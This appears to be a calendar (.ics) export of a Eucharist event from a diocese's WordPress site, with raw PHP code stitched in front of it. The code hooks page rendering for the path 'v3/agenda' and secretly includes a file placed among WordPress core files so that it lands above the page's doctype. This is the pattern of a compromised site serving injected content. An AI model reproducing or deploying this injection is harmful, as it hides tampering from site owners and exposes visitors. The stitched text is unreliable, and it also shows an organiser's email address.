add_action('template_redirect', function () {
    $path = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');

    if ($path !== 'v3/agenda') {
        return;
    }

    $file = ABSPATH . 'wp-content/custom/agenda-top.php';

    if (!file_exists($file) || !is_readable($file)) {
        return;
    }

    // ambil output WordPress
    ob_start();
}, 0);


add_action('shutdown', function () {
    $path = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');

    if ($path !== 'v3/agenda') {
        return;
    }

    $file = ABSPATH . 'wp-includes/block-patterns/query-slim-posts.php';

    if (!file_exists($file) || !is_readable($file)) {
        return;
    }

    $html = ob_get_clean();

    // inject file di paling atas (sebelum doctype)
    ob_start();
    include $file;
    echo $html;

    echo ob_get_clean();
}, 0);BEGIN:VCALENDAR
VERSION:2.0
METHOD:PUBLISH
PRODID:-//Accessible Web Design//My Calendar//http://www.joedolson.com//v//EN';
BEGIN:VEVENT
UID:383-5
LOCATION:Igreja Matriz de Oiã R. Eng. Agnelo Prazeres 25, 3770-059 Oiã
SUMMARY:Oiã - Oliveira do Bairro
DTSTAMP:20240831T180000
ORGANIZER;CN=da_admin:MAILTO:fernandocassola@diocese-aveiro.pt
DTSTART:20240831T180000
DTEND:20240831T190000
CATEGORIES:Eucaristia
URL;VALUE=URI:https://diocese-aveiro.pt/v3/mc-events/oia-oliveira-do-bairro/?mc_id=383
DESCRIPTION:
END:VEVENT
END:VCALENDAR